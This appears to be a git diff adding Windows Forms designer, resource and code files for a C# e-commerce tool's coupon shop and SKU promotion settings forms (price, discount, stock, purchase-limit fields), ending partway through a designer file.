a/TEMUKJD/KJDForms/SalesCenterForms/CouponShopForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/CouponShopForm.resx new file mode 100644 index 0000000..8ba20b6 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/CouponShopForm.resx @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + 17, 17 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/DouProductProPromotionListSkuInfoForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/DouProductProPromotionListSkuInfoForm.Designer.cs new file mode 100644 index 0000000..2768655 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/DouProductProPromotionListSkuInfoForm.Designer.cs @@ -0,0 +1,293 @@ + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class DouProductProPromotionListSkuInfoForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colSkuId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSku = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colOldPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSetPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colNowStock = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colActiveStock = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLimited = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.btnSave = new DevComponents.DotNetBar.PanelEx(); + this.panel6 = new System.Windows.Forms.Panel(); + this.cmbLimit = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.lblLimit = new System.Windows.Forms.Label(); + this.panel5 = new System.Windows.Forms.Panel(); + this.txtStock = new System.Windows.Forms.TextBox(); + this.lblStock = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.panel6.SuspendLayout(); + this.panel5.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1084, 521); + this.splitContainer2.SplitterDistance = 492; + this.splitContainer2.TabIndex = 10; + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选择"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 45; + // + // colSkuId + // + this.colSkuId.HeaderText = "SkuId"; + this.colSkuId.Name = "colSkuId"; + this.colSkuId.ReadOnly = true; + this.colSkuId.Visible = false; + this.colSkuId.Width = 150; + // + // colSku + // + this.colSku.HeaderText = "SKU"; + this.colSku.Name = "colSku"; + this.colSku.ReadOnly = true; + this.colSku.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSku.Width = 300; + // + // colOldPrice + // + this.colOldPrice.HeaderText = "原价"; + this.colOldPrice.Name = "colOldPrice"; + this.colOldPrice.ReadOnly = true; + this.colOldPrice.Width = 90; + // + // colSetPrice + // + this.colSetPrice.HeaderText = "打折"; + this.colSetPrice.Name = "colSetPrice"; + this.colSetPrice.ReadOnly = true; + this.colSetPrice.Width = 80; + // + // colNowStock + // + this.colNowStock.HeaderText = "当前库存"; + this.colNowStock.Name = "colNowStock"; + this.colNowStock.ReadOnly = true; + this.colNowStock.Width = 90; + // + // colActiveStock + // + this.colActiveStock.HeaderText = "活动库存"; + this.colActiveStock.Name = "colActiveStock"; + this.colActiveStock.ReadOnly = true; + this.colActiveStock.Width = 80; + // + // colLimited + // + this.colLimited.HeaderText = "每人限购"; + this.colLimited.Name = "colLimited"; + this.colLimited.ReadOnly = true; + this.colLimited.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colLimited.Width = 80; + // + // colMessage + // + this.colMessage.HeaderText = "消息提示"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 200; + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnSave); + this.splitContainer1.Panel1.Controls.Add(this.panel6); + this.splitContainer1.Panel1.Controls.Add(this.lblLimit); + this.splitContainer1.Panel1.Controls.Add(this.panel5); + this.splitContainer1.Panel1.Controls.Add(this.lblStock); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(1084, 561); + this.splitContainer1.SplitterDistance = 36; + this.splitContainer1.TabIndex = 12; + // + // btnSave + // + this.btnSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom))); + this.btnSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSave.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSave.Location = new System.Drawing.Point(654, 7); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(80, 23); + this.btnSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSave.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSave.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSave.Style.GradientAngle = 90; + this.btnSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.TabIndex = 561; + this.btnSave.Text = "保存"; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // panel6 + // + this.panel6.Controls.Add(this.cmbLimit); + this.panel6.Location = new System.Drawing.Point(476, 6); + this.panel6.Name = "panel6"; + this.panel6.Size = new System.Drawing.Size(60, 24); + this.panel6.TabIndex = 547; + // + // cmbLimit + // + this.cmbLimit.DisplayMember = "Text"; + this.cmbLimit.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbLimit.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbLimit.FormattingEnabled = true; + this.cmbLimit.ItemHeight = 18; + this.cmbLimit.Location = new System.Drawing.Point(0, 0); + this.cmbLimit.Name = "cmbLimit"; + this.cmbLimit.Size = new System.Drawing.Size(57, 24); + this.cmbLimit.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbLimit.TabIndex = 520; + // + // lblLimit + // + this.lblLimit.AutoSize = true; + this.lblLimit.Location = new System.Drawing.Point(421, 13); + this.lblLimit.Name = "lblLimit"; + this.lblLimit.Size = new System.Drawing.Size(53, 12); + this.lblLimit.TabIndex = 546; + this.lblLimit.Text = "每人限购"; + // + // panel5 + // + this.panel5.Controls.Add(this.txtStock); + this.panel5.Location = new System.Drawing.Point(322, 8); + this.panel5.Name = "panel5"; + this.panel5.Size = new System.Drawing.Size(82, 21); + this.panel5.TabIndex = 543; + // + // txtStock + // + this.txtStock.Location = new System.Drawing.Point(0, 0); + this.txtStock.Name = "txtStock"; + this.txtStock.Size = new System.Drawing.Size(80, 21); + this.txtStock.TabIndex = 481; + // + // lblStock + // + this.lblStock.AutoSize = true; + this.lblStock.Location = new System.Drawing.Point(263, 13); + this.lblStock.Name = "lblStock"; + this.lblStock.Size = new System.Drawing.Size(53, 12); + this.lblStock.TabIndex = 542; + this.lblStock.Text = "活动库存"; + // + // DouProductProPromotionListSkuInfoForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1084, 561); + this.Controls.Add(this.splitContainer1); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "DouProductProPromotionListSkuInfoForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "设置单个SKU"; + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.panel6.ResumeLayout(false); + this.panel5.ResumeLayout(false); + this.panel5.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.Panel panel5; + private System.Windows.Forms.TextBox txtStock; + private System.Windows.Forms.Label lblStock; + private System.Windows.Forms.Panel panel6; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbLimit; + private System.Windows.Forms.Label lblLimit; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colSkuId; + private System.Windows.Forms.DataGridViewTextBoxColumn colSku; + private System.Windows.Forms.DataGridViewTextBoxColumn colOldPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colSetPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colNowStock; + private System.Windows.Forms.DataGridViewTextBoxColumn colActiveStock; + private System.Windows.Forms.DataGridViewTextBoxColumn colLimited; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private DevComponents.DotNetBar.PanelEx btnSave; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/DouProductProPromotionListSkuInfoForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/DouProductProPromotionListSkuInfoForm.cs new file mode 100644 index 0000000..c64da4e --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/DouProductProPromotionListSkuInfoForm.cs @@ -0,0 +1,27 @@ +using AllBase; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class DouProductProPromotionListSkuInfoForm : Form + { + public List skuList = null; + private List strList = new List(); + + public DouProductProPromotionListSkuInfoForm(string data, string shop_stype = "3", string setPrice = "95", int StockNum = 1, string limited = "1") + { + InitializeComponent(); + } + + private void btnSave_Click(object sender, EventArgs e) + { + this.DialogResult = DialogResult.OK; + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/DouProductProPromotionListSkuInfoForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/DouProductProPromotionListSkuInfoForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/DouProductProPromotionListSkuInfoForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/DouProductPromotionListSkuInfoEditForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/DouProductPromotionListSkuInfoEditForm.Designer.cs new file mode 100644 index 0000000..8077499 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/DouProductPromotionListSkuInfoEditForm.Designer.cs @@ -0,0 +1,454 @@ + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class DouProductPromotionListSkuInfoEditForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.btnSave = new DevComponents.DotNetBar.PanelEx(); + this.btnFill = new DevComponents.DotNetBar.PanelEx(); + this.panel6 = new System.Windows.Forms.Panel(); + this.cmbLimit = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.lblLimit = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.panel1 = new System.Windows.Forms.Panel(); + this.txtSetPrice = new System.Windows.Forms.TextBox(); + this.panel5 = new System.Windows.Forms.Panel(); + this.txtStock = new System.Windows.Forms.TextBox(); + this.lblStock = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.btnDelete = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvActiveSku = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colSkuId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSku = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colOldPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSetPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colNowStock = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colActiveStock = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLeftStock = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLimited = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.panel6.SuspendLayout(); + this.panel1.SuspendLayout(); + this.panel5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvActiveSku)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnSave); + this.splitContainer1.Panel1.Controls.Add(this.btnFill); + this.splitContainer1.Panel1.Controls.Add(this.panel6); + this.splitContainer1.Panel1.Controls.Add(this.lblLimit); + this.splitContainer1.Panel1.Controls.Add(this.label3); + this.splitContainer1.Panel1.Controls.Add(this.panel1); + this.splitContainer1.Panel1.Controls.Add(this.panel5); + this.splitContainer1.Panel1.Controls.Add(this.lblStock); + this.splitContainer1.Panel1.Controls.Add(this.label2); + this.splitContainer1.Panel1.Controls.Add(this.btnDelete); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(1084, 561); + this.splitContainer1.SplitterDistance = 36; + this.splitContainer1.TabIndex = 13; + // + // btnSave + // + this.btnSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom))); + this.btnSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSave.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSave.Location = new System.Drawing.Point(654, 7); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(80, 23); + this.btnSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSave.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSave.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSave.Style.GradientAngle = 90; + this.btnSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.TabIndex = 561; + this.btnSave.Text = "保存"; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // btnFill + // + this.btnFill.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom))); + this.btnFill.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnFill.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnFill.DisabledBackColor = System.Drawing.Color.Empty; + this.btnFill.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnFill.Location = new System.Drawing.Point(557, 7); + this.btnFill.Name = "btnFill"; + this.btnFill.Size = new System.Drawing.Size(80, 23); + this.btnFill.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnFill.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnFill.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnFill.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnFill.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnFill.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnFill.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnFill.Style.GradientAngle = 90; + this.btnFill.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnFill.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnFill.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnFill.TabIndex = 551; + this.btnFill.Text = "批量填充"; + this.btnFill.Click += new System.EventHandler(this.btnFill_Click); + // + // panel6 + // + this.panel6.Controls.Add(this.cmbLimit); + this.panel6.Location = new System.Drawing.Point(476, 6); + this.panel6.Name = "panel6"; + this.panel6.Size = new System.Drawing.Size(60, 24); + this.panel6.TabIndex = 547; + // + // cmbLimit + // + this.cmbLimit.DisplayMember = "Text"; + this.cmbLimit.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbLimit.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbLimit.FormattingEnabled = true; + this.cmbLimit.ItemHeight = 18; + this.cmbLimit.Location = new System.Drawing.Point(0, 0); + this.cmbLimit.Name = "cmbLimit"; + this.cmbLimit.Size = new System.Drawing.Size(57, 24); + this.cmbLimit.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbLimit.TabIndex = 520; + // + // lblLimit + // + this.lblLimit.AutoSize = true; + this.lblLimit.Location = new System.Drawing.Point(421, 13); + this.lblLimit.Name = "lblLimit"; + this.lblLimit.Size = new System.Drawing.Size(53, 12); + this.lblLimit.TabIndex = 546; + this.lblLimit.Text = "每人限购"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(103, 13); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(29, 12); + this.label3.TabIndex = 545; + this.label3.Text = "优惠"; + // + // panel1 + // + this.panel1.Controls.Add(this.txtSetPrice); + this.panel1.Location = new System.Drawing.Point(138, 8); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(83, 21); + this.panel1.TabIndex = 544; + // + // txtSetPrice + // + this.txtSetPrice.Location = new System.Drawing.Point(0, 0); + this.txtSetPrice.Name = "txtSetPrice"; + this.txtSetPrice.Size = new System.Drawing.Size(83, 21); + this.txtSetPrice.TabIndex = 0; + // + // panel5 + // + this.panel5.Controls.Add(this.txtStock); + this.panel5.Location = new System.Drawing.Point(322, 8); + this.panel5.Name = "panel5"; + this.panel5.Size = new System.Drawing.Size(82, 21); + this.panel5.TabIndex = 543; + // + // txtStock + // + this.txtStock.Location = new System.Drawing.Point(0, 0); + this.txtStock.Name = "txtStock"; + this.txtStock.Size = new System.Drawing.Size(80, 21); + this.txtStock.TabIndex = 481; + // + // lblStock + // + this.lblStock.AutoSize = true; + this.lblStock.Location = new System.Drawing.Point(263, 13); + this.lblStock.Name = "lblStock"; + this.lblStock.Size = new System.Drawing.Size(53, 12); + this.lblStock.TabIndex = 542; + this.lblStock.Text = "追加库存"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(226, 13); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(17, 12); + this.label2.TabIndex = 541; + this.label2.Text = "折"; + // + // btnDelete + // + this.btnDelete.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom))); + this.btnDelete.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnDelete.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnDelete.DisabledBackColor = System.Drawing.Color.Empty; + this.btnDelete.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnDelete.Location = new System.Drawing.Point(902, 7); + this.btnDelete.Name = "btnDelete"; + this.btnDelete.Size = new System.Drawing.Size(90, 23); + this.btnDelete.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnDelete.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDelete.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDelete.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnDelete.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnDelete.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnDelete.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnDelete.Style.GradientAngle = 90; + this.btnDelete.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnDelete.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnDelete.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnDelete.TabIndex = 536; + this.btnDelete.Text = "删除"; + this.btnDelete.Click += new System.EventHandler(this.btnDelete_Click); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvActiveSku); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1084, 521); + this.splitContainer2.SplitterDistance = 492; + this.splitContainer2.TabIndex = 10; + // + // dgvActiveSku + // + this.dgvActiveSku.AllowUserToAddRows = false; + this.dgvActiveSku.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvActiveSku.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvActiveSku.BackgroundColor = System.Drawing.Color.White; + this.dgvActiveSku.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvActiveSku.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvActiveSku.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvActiveSku.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + 